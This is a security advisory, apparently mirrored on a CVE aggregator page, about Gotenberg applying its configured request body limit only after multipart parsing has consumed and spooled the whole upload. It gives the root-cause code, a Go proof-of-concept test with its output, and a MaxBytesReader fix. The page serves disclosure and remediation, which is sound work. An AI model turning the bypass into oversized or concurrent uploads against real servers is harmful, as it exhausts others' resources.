GHSA-R5Q4-FV96-GXG7
Configured api-body-limit is enforced only after full multipart parsing
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Remediación | Parche v8.38.0 | github.com/gotenberg/gotenberg/v8 · -2 d desde divulgación | |
| Divulgación | Publicada | GHSA-R5Q4-FV96-GXG7 divulgada | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
Gotenberg applies `api-body-limit` only after Echo has parsed and materialized the complete multipart request. An operator may configure a 1 KiB body limit, but a remote request containing a 2 MiB file part is still read in full before Gotenberg returns the limit error associated with HTTP 413.
The configured control therefore does not bound ingress parsing, memory use, temporary-file spooling, or I/O. Large or concurrent requests can consume resources materially above the operator-selected limit before rejection.
This report is independent from private report `GHSA-74q8-m7f5-9mjr`. That report concerns cross-request Chromium cookie isolation. This report concerns multipart ingress resource accounting.
Affected versions
- First verified affected release: `v8.11.0`
- Runtime-confirmed affected release: `v8.37.0`
- Current `main` at `c83dbd7bafacb3734ebadf2e33a4049a17d45ec9` remains affected by source inspection
- No fixed release was identified
The `api-body-limit` feature was introduced in commit `fe40f3727b2034f3be5745f17247ff0df03dfaa8` on 2024-09-29. `v8.10.0` does not expose the flag. `v8.11.0` contains it and already calls `MultipartForm()` before applying the counter. Git ancestry places the introducing commit in subsequent v8 tags; intermediate patch releases were not individually executed.
Preconditions
- Mallory can reach any multipart conversion route.
- The operator configured a positive `api-body-limit` and expects it to bound request resource consumption.
- Mallory can transmit a larger multipart body within `api-timeout`.
Authentication is disabled by default, but it is not the root cause. An authenticated API client can trigger the same behavior.
Root cause
`pkg/modules/api/api.go` describes `api-body-limit` as the body limit for multipart requests and passes it to `contextMiddleware` for every multipart route.
Inside `pkg/modules/api/context.go`, `newContext` creates an aggregate counter:
addReadBytes := func(n int64) error {
newTotal := totalBytesRead.Add(n)
if bodyLimit != 0 && newTotal > bodyLimit {
return WrapError(
fmt.Errorf("body limit reached (> %d)", bodyLimit),
NewSentinelHttpError(
http.StatusRequestEntityTooLarge,
"The request body exceeds the configured size limit. Increase it with --api-body-limit, or send a smaller request.",
),
)
}
return nil
}However, it calls `MultipartForm()` before the first call to that counter:
form, err := echoCtx.MultipartForm()
if err != nil {
// parser error handling
}
defer func() {
_ = form.RemoveAll()
}()
var formValuesSize int64
for key, valArray := range form.Value {
formValuesSize += int64(len(key))
for _, val := range valArray {
formValuesSize += int64(len(val))
}
}
err = addReadBytes(formValuesSize)`MultipartForm()` has already consumed the request and may have spooled file parts to the operating-system temporary directory at this point.
Uploaded files are counted even later, while Gotenberg reopens each already-materialized `FileHeader` and copies it into the request working directory:
in, err := fh.Open()
// ...
reader := &trackingReader{R: in, AddReadBytes: addReadBytes}
// ...
_, err = io.Copy(out, reader)The `trackingReader` can stop this second copy and return 413, but it cannot undo or bound the earlier read and parser spooling.
Local reproduction
The PoC was executed against the exact `v8.37.0` tag. It uses only an in-memory multipart request and the real `newContext`; it starts no network service.
The positive test places a counting reader immediately under `Request.Body`, configures `bodyLimit=1024`, and submits a multipart request containing a 2 MiB file part. The negative control changes only the ingress boundary by wrapping the same reader in `http.MaxBytesReader`.
Save the following as `pkg/modules/api/multipart_limit_poc_test.go` in a clean `v8.37.0` checkout:
package api
import (
"bytes"
"io"
"log/slog"
"mime/multipart"
"net/http"
"net/http/httptest"
"testing"
"time"
"github.com/labstack/echo/v4"
"github.com/gotenberg/gotenberg/v8/pkg/gotenberg"
)
type bodyLimitCountingReadCloser struct {
r io.Reader
n int
}
func (c *bodyLimitCountingReadCloser) Read(p []byte) (int, error) {
n, err := c.r.Read(p)
c.n += n
return n, err
}
func (*bodyLimitCountingReadCloser) Close() error { return nil }
func bodyLimitMultipartPayload(t *testing.T) ([]byte, string) {
t.Helper()
var body bytes.Buffer
writer := multipart.NewWriter(&body)
part, err := writer.CreateFormFile("files", "large.bin")
if err != nil { t.Fatal(err) }
if _, err = part.Write(bytes.Repeat([]byte("A"), 2<<20)); err != nil { t.Fatal(err) }
if err = writer.Close(); err != nil { t.Fatal(err) }
return append([]byte(nil), body.Bytes()...), writer.FormDataContentType()
}
func TestPoCBodyLimitIsAppliedAfterMultipartBodyConsumed(t *testing.T) {
payload, contentType := bodyLimitMultipartPayload(t)
counted := &bodyLimitCountingReadCloser{r: bytes.NewReader(payload)}
req := httptest.NewRequest(http.MethodPost, "/forms/test", nil)
req.Body = counted
req.ContentLength = int64(len(payload))
req.Header.Set("Content-Type", contentType)
echoCtx := echo.New().NewContext(req, httptest.NewRecorder())
fs := gotenberg.NewFileSystem(new(gotenberg.OsMkdirAll))
_, cancel, err := newContext(
echoCtx,
slog.New(slog.DiscardHandler),
fs,
10*time.Second,
1024,
downloadFromConfig{disable: true},
)
if cancel != nil { defer cancel() }
if err == nil {
t.Fatal("expected the configured body limit to reject the request")
}
if counted.n != len(payload) {
t.Fatalf("request body consumed %d/%d bytes; expected complete consumption before rejection", counted.n, len(payload))
}
t.Logf("positive_control: configured_limit=1024 request_bytes=%d bytes_consumed_before_413=%d", len(payload), counted.n)
}
func TestPoCNegativeControlMaxBytesReaderStopsBeforeFullBody(t *testing.T) {
payload, contentType := bodyLimitMultipartPayload(t)
counted := &bodyLimitCountingReadCloser{r: bytes.NewReader(payload)}
rec := httptest.NewRecorder()
req := httptest.NewRequest(http.MethodPost, "/forms/test", nil)
req.Body = http.MaxBytesReader(rec, counted, 1024)
req.ContentLength = int64(len(payload))
req.Header.Set("Content-Type", contentType)
echoCtx := echo.New().NewContext(req, rec)
fs := gotenberg.NewFileSystem(new(gotenberg.OsMkdirAll))
_, cancel, err := newContext(
echoCtx,
slog.New(slog.DiscardHandler),
fs,
10*time.Second,
1024,
downloadFromConfig{disable: true},
)
if cancel != nil { defer cancel() }
if err == nil {
t.Fatal("expected MaxBytesReader to reject the request")
}
if counted.n >= len(payload) {
t.Fatalf("negative control consumed full body: %d/%d", counted.n, len(payload))
}
t.Logf("negative_control: max_bytes_reader=1024 request_bytes=%d upstream_bytes_consumed=%d", len(payload), counted.n)
}Run:
go test ./pkg/modules/api \
-run '^TestPoC(BodyLimitIsAppliedAfterMultipartBodyConsumed|NegativeControlMaxBytesReaderStopsBeforeFullBody)$' \
-count=1 -vObserved against `v8.37.0` (the Go test source-location prefixes are omitted below):
=== RUN TestPoCBodyLimitIsAppliedAfterMultipartBodyConsumed
positive_control: configured_limit=1024 request_bytes=2097394 bytes_consumed_before_413=2097394
--- PASS: TestPoCBodyLimitIsAppliedAfterMultipartBodyConsumed (0.01s)
=== RUN TestPoCNegativeControlMaxBytesReaderStopsBeforeFullBody
negative_control: max_bytes_reader=1024 request_bytes=2097394 upstream_bytes_consumed=1025
--- PASS: TestPoCNegativeControlMaxBytesReaderStopsBeforeFullBody (0.00s)
PASS
ok github.com/gotenberg/gotenberg/v8/pkg/modules/api 0.017sThe positive control confirms that the application-level 1 KiB limit did not stop ingress: all 2,097,394 bytes were consumed before rejection. The negative control confirms that placing the limit before multipart parsing stops the upstream reader after 1,025 bytes, with one additional byte used to detect overflow.
Impact and constraints
The demonstrated impact is bypass of the configured request-resource boundary. A request can consume temporary storage, parser work, and I/O far above `api-body-limit` before being rejected.
The PoC did not attempt disk exhaustion, OOM, process termination, or sustained service denial. Those stronger effects are plausible for sufficiently large or concurrent requests but remain unconfirmed.
Existing controls reduce impact without repairing the ordering:
- `api-timeout` bounds the time available to upload the body.
- The multipart parser normally moves large file parts to temporary disk rather than retaining all bytes in heap.
- `form.RemoveAll()` removes parser-created temporary files after parsing returns.
- `trackingReader` returns the limit error during the second copy.
- An independently configured ingress proxy limit can reject the request before Gotenberg.
None of these controls causes `api-body-limit` itself to stop the initial parse.
Recommended remediation
Enforce the configured limit on `Request.Body` before `MultipartForm()`:
req := echoCtx.Request()
if bodyLimit > 0 {
if req.ContentLength > bodyLimit {
return nil, cancel, bodyLimitError(bodyLimit)
}
req.Body = http.MaxBytesReader(echoCtx.Response(), req.Body, bodyLimit)
}
form, err := echoCtx.MultipartForm()Map `*http.MaxBytesError` to the existing public 413 response. `Content-Length` can provide an early rejection but must not replace the stream wrapper because it may be missing or untrusted.
The `downloadFrom` feature reads content outside `Request.Body`; retain a separate explicit aggregate budget around remote responses so uploads are not counted twice and remote downloads remain bounded.
Regression tests should cover known and unknown content lengths, exact-limit and one-byte-over cases, multiple fields/files, early interruption before full spooling, temporary cleanup, consistent HTTP 413 mapping, and an independent `downloadFrom` budget.
Disclosure notes
The official list of 21 published Gotenberg advisories was checked on 2026-10-13. No published advisory was found with this `MultipartForm()`-before-`api-body-limit` root cause. This does not rule out an unpublished private report, so novelty is not claimed as confirmed.
AI assistance disclosure: OpenAI Codex was used for source review, history analysis, PoC construction, local test execution, and report drafting. The source order and observed PoC output above were checked against `v8.37.0` before submission.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
gogithub.com/gotenberg/gotenberg/v8 |
Corregida | v8.38.0 | -2 d | v8.40.0 no afectada |
8.38.0v8.38.0Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/gotenberg/gotenberg/security/advisories/GHSA-r5q4-fv96-gxg7Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
